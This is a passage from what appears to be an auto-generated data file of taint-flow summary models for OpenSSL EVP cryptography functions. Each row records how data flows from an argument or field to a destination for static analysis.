*,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[5]", "Argument[*0].Field[**pctx].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "EVP_ENCODE_CTX_copy", "(EVP_ENCODE_CTX *,const EVP_ENCODE_CTX *)", "", "Argument[*1]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "EVP_ENCODE_CTX_copy", "(EVP_ENCODE_CTX *,const EVP_ENCODE_CTX *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_ENCODE_CTX_num", "(EVP_ENCODE_CTX *)", "", "Argument[*0].Field[*num]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_EncodeBlock", "(unsigned char *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncodeBlock", "(unsigned char *,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncodeBlock", "(unsigned char *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncodeFinal", "(EVP_ENCODE_CTX *,unsigned char *,int *)", "", "Argument[*0].Field[*enc_data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncodeFinal", "(EVP_ENCODE_CTX *,unsigned char *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncodeUpdate", "(EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[*3]", "Argument[*0].Field[*enc_data]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncodeUpdate", "(EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[*3]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncodeUpdate", "(EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncodeUpdate", "(EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[3]", "Argument[*0].Field[*enc_data]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncodeUpdate", "(EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[3]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncodeUpdate", "(EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[4]", "Argument[*0].Field[*num]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptFinal", "(EVP_CIPHER_CTX *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_EncryptFinal_ex", "(EVP_CIPHER_CTX *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_EncryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *)", "", "Argument[*3]", "Argument[*0].Field[**oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *)", "", "Argument[*3]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *)", "", "Argument[*3]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *)", "", "Argument[1]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *)", "", "Argument[1]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *)", "", "Argument[3]", "Argument[*0].Field[**oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *)", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *)", "", "Argument[3]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[**oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[**oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[*4]", "Argument[*0].Field[**oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[*4]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[*4]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[1]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[1]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[2]", "Argument[*0].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[4]", "Argument[*0].Field[**oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[4]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[4]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncryptUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[*3]", "Argument[*0].Field[*buf]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncryptUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncryptUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[3]", "Argument[*0].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncryptUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[4]", "Argument[*0].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncryptUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[4]", "Argument[*0].Field[*buf_len]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncryptUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[4]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "EVP_KDF_CTX_dup", "(const EVP_KDF_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "EVP_KDF_CTX_dup", "(const EVP_KDF_CTX *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "EVP_KDF_CTX_kdf", "(EVP_KDF_CTX *)", "", "Argument[*0].Field[**meth]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_KDF_CTX_kdf", "(EVP_KDF_CTX *)", "", "Argument[*0].Field[*meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_KDF_CTX_new", "(EVP_KDF *)", "", "Argument[0]", "ReturnValue[*].Field[*meth]", "value", "dfc-generated"] + - ["", "", True, "EVP_KDF_get0_description", "(const EVP_KDF *)", "", "Argument[*0].Field[**description]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_KDF_get0_description", "(const EVP_KDF *)", "", "Argument[*0].Field[*description]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_KDF_get0_name", "(const EVP_KDF *)", "", "Argument[*0].Field[**type_name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_KDF_get0_name", "(const EVP_KDF *)", "", "Argument[*0].Field[*type_name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_KDF_get0_provider", "(const EVP_KDF *)", "", "Argument[*0].Field[**prov]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_KDF_get0_provider", "(const EVP_KDF *)", "", "Argument[*0].Field[*prov]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_KDF_names_do_all", "(const EVP_KDF *,..(*)(..),void *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_KEM_get0_description", "(const EVP_KEM *)", "", "Argument[*0].Field[**description]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_KEM_get0_description", "(const EVP_KEM *)", "", "Argument[*0].Field[*description]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_KEM_get0_name", "(const EVP_KEM *)", "", "Argument[*0].Field[**type_name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_KEM_get0_name", "(const EVP_KEM *)", "", "Argument[*0].Field[*type_name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_KEM_get0_provider", "(const EVP_KEM *)", "", "Argument[*0].Field[**prov]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_KEM_get0_provider", "(const EVP_KEM *)", "", "Argument[*0].Field[*prov]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_KEM_names_do_all", "(const EVP_KEM *,..(*)(..),void *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_KEYEXCH_get0_description", "(const EVP_KEYEXCH *)", "", "Argument[*0].Field[**description]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_KEYEXCH_get0_description", "(const EVP_KEYEXCH *)", "", "Argument[*0].Field[*description]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_KEYEXCH_get0_name", "(const EVP_KEYEXCH *)", "", "Argument[*0].Field[**type_name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_KEYEXCH_get0_name", "(const EVP_KEYEXCH *)", "", "Argument[*0].Field[*type_name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_KEYEXCH_get0_provider", "(const EVP_KEYEXCH *)", "", "Argument[*0].Field[**prov]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_KEYEXCH_get0_provider", "(const EVP_KEYEXCH *)", "", "Argument[*0].Field[*prov]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_KEYEXCH_names_do_all", "(const EVP_KEYEXCH *,..(*)(..),void *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_KEYMGMT_get0_description", "(const EVP_KEYMGMT *)", "", "Argument[*0].Field[**description]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_KEYMGMT_get0_description", "(const EVP_KEYMGMT *)", "", "Argument[*0].Field[*description]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_KEYMGMT_get0_name", "(const EVP_KEYMGMT *)", "", "Argument[*0].Field[**type_name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_KEYMGMT_get0_name", "(const EVP_KEYMGMT *)", "", "Argument[*0].Field[*type_name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_KEYMGMT_get0_provider", "(const EVP_KEYMGMT *)", "", "Argument[*0].Field[**prov]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_KEYMGMT_get0_provider", "(const EVP_KEYMGMT *)", "", "Argument[*0].Field[*prov]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_KEYMGMT_names_do_all", "(const EVP_KEYMGMT *,..(*)(..),void *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_MAC_CTX_dup", "(const EVP_MAC_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "EVP_MAC_CTX_dup", "(const EVP_MAC_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_MAC_CTX_dup", "(const EVP_MAC_CTX *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "EVP_MAC_CTX_get0_mac", "(EVP_MAC_CTX *)", "", "Argument[*0].Field[**meth]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_MAC_CTX_get0_mac", "(EVP_MAC_CTX *)", "", "Argument[*0].Field[*meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MAC_CTX_new", "(EVP_MAC *)", "", "Argument[*0]", "ReturnValue[*].Field[**meth]", "value", "dfc-generated"] + - ["", "", True, "EVP_MAC_CTX_new", "(EVP_MAC *)", "", "Argument[0]", "ReturnValue[*].Field[*meth]", "value", "dfc-generated"] + - ["", "", True, "EVP_MAC_get0_description", "(const EVP_MAC *)", "", "Argument[*0].Field[**description]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_MAC_get0_description", "(const EVP_MAC *)", "", "Argument[*0].Field[*description]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MAC_get0_name", "(const EVP_MAC *)", "", "Argument[*0].Field[**type_name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_MAC_get0_name", "(const EVP_MAC *)", "", "Argument[*0].Field[*type_name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MAC_get0_provider", "(const EVP_MAC *)", "", "Argument[*0].Field[**prov]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_MAC_get0_provider", "(const EVP_MAC *)", "", "Argument[*0].Field[*prov]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MAC_names_do_all", "(const EVP_MAC *,..(*)(..),void *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_MD_CTX_clear_flags", "(EVP_MD_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_copy", "(EVP_MD_CTX *,const EVP_MD_CTX *)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "EVP_MD_CTX_copy", "(EVP_MD_CTX *,const EVP_MD_CTX *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_copy", "(EVP_MD_CTX *,const EVP_MD_CTX *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_copy_ex", "(EVP_MD_CTX *,const EVP_MD_CTX *)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "EVP_MD_CTX_copy_ex", "(EVP_MD_CTX *,const EVP_MD_CTX *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_copy_ex", "(EVP_MD_CTX *,const EVP_MD_CTX *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_dup", "(const EVP_MD_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "EVP_MD_CTX_dup", "(const EVP_MD_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_dup", "(const EVP_MD_CTX *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_get0_md", "(const EVP_MD_CTX *)", "", "Argument[*0].Field[**reqdigest]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_get0_md", "(const EVP_MD_CTX *)", "", "Argument[*0].Field[*reqdigest]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_get0_md_data", "(const EVP_MD_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_MD_CTX_get0_md_data", "(const EVP_MD_CTX *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "EVP_MD_CTX_get0_md_data", "(const EVP_MD_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_MD_CTX_get1_md", "(EVP_MD_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_MD_CTX_get1_md", "(EVP_MD_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_MD_CTX_get_pkey_ctx", "(const EVP_MD_CTX *)", "", "Argument[*0].Field[**pctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_get_pkey_ctx", "(const EVP_MD_CTX *)", "", "Argument[*0].Field[*pctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_get_size_ex", "(const EVP_MD_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_MD_CTX_md", "(const EVP_MD_CTX *)", "", "Argument[*0].Field[**reqdigest]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_md", "(const EVP_MD_CTX *)", "", "Argument[*0].Field[*reqdigest]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_set_flags", "(EVP_MD_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_set_pkey_ctx", "(EVP_MD_CTX *,EVP_PKEY_CTX *)", "", "Argument[*1]", "Argument[*0].Field[**pctx]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_set_pkey_ctx", "(EVP_MD_CTX *,EVP_PKEY_CTX *)", "", "Argument[1]", "Argument[*0].Field[*pctx]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_set_update_fn", "(EVP_MD_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*update]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_test_flags", "(const EVP_MD_CTX *,int)", "", "Argument[*0].Field[*flags]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_test_flags", "(const EVP_MD_CTX *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "EVP_MD_CTX_update_fn", "(EVP_MD_CTX *)", "", "Argument[*0].Field[*update]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_get0_description", "(const EVP_MD *)", "", "Argument[*0].Field[**description]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_get0_description", "(const EVP_MD *)", "", "Argument[*0].Field[*description]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_get0_name", "(const EVP_MD *)", "", "Argument[*0].Field[**type_name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_get0_name", "(const EVP_MD *)", "", "Argument[*0].Field[*type_name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_get0_provider", "(const EVP_MD *)", "", "Argument[*0].Field[**prov]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_get0_provider", "(const EVP_MD *)", "", "Argument[*0].Field[*prov]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_get_block_size", "(const EVP_MD *)", "", "Argument[*0].Field[*block_size]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_get_flags", "(const EVP_MD *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_get_pkey_type", "(const EVP_MD *)", "", "Argument[*0].Field[*pkey_type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_get_size", "(const EVP_MD *)", "", "Argument[*0].Field[*md_size]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_get_type", "(const EVP_MD *)", "", "Argument[*0].Field[*type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_dup", "(const EVP_MD *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "EVP_MD_meth_dup", "(const EVP_MD *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_get_app_datasize", "(const EVP_MD *)", "", "Argument[*0].Field[*ctx_size]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_get_cleanup", "(const EVP_MD *)", "", "Argument[*0].Field[*cleanup]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_get_copy", "(const EVP_MD *)", "", "Argument[*0].Field[*copy]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_get_ctrl", "(const EVP_MD *)", "", "Argument[*0].Field[*md_ctrl]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_get_final", "(const EVP_MD *)", "", "Argument[*0].Field[*final]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_get_flags", "(const EVP_MD *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_get_init", "(const EVP_MD *)", "", "Argument[*0].Field[*init]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_get_input_blocksize", "(const EVP_MD *)", "", "Argument[*0].Field[*block_size]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_get_result_size", "(const EVP_MD *)", "", "Argument[*0].Field[*md_size]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_get_update", "(const EVP_MD *)", "", "Argument[*0].Field[*update]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_new", "(int,int)", "", "Argument[0]", "ReturnValue[*].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_new", "(int,int)", "", "Argument[1]", "ReturnValue[*].Field[*pkey_type]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_set_app_datasize", "(EVP_MD *,int)", "", "Argument[1]", "Argument[*0].Field[*ctx_size]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_set_cleanup", "(EVP_MD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*cleanup]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_set_copy", "(EVP_MD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*copy]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_set_ctrl", "(EVP_MD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*md_ctrl]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_set_final", "(EVP_MD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*final]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_set_flags", "(EVP_MD *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_set_init", "(EVP_MD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*init]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_set_input_blocksize", "(EVP_MD *,int)", "", "Argument[1]", "Argument[*0].Field[*block_size]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_set_result_size", "(EVP_MD *,int)", "", "Argument[1]", "Argument[*0].Field[*md_size]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_meth_set_update", "(EVP_MD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*update]", "value", "dfc-generated"] + - ["", "", True, "EVP_MD_names_do_all", "(const EVP_MD *,..(*)(..),void *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_OpenFinal", "(EVP_CIPHER_CTX *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "EVP_OpenFinal", "(EVP_CIPHER_CTX *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_OpenInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,int,const unsigned char *,EVP_PKEY *)", "", "Argument[*4]", "Argument[*0].Field[**oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_OpenInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,int,const unsigned char *,EVP_PKEY *)", "", "Argument[*4]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "EVP_OpenInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,int,const unsigned char *,EVP_PKEY *)", "", "Argument[*4]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_OpenInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,int,const unsigned char *,EVP_PKEY *)", "", "Argument[1]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_OpenInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,int,const unsigned char *,EVP_PKEY *)", "", "Argument[1]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_OpenInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,int,const unsigned char *,EVP_PKEY *)", "", "Argument[4]", "Argument[*0].Field[**oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_OpenInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,int,const unsigned char *,EVP_PKEY *)", "", "Argument[4]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, 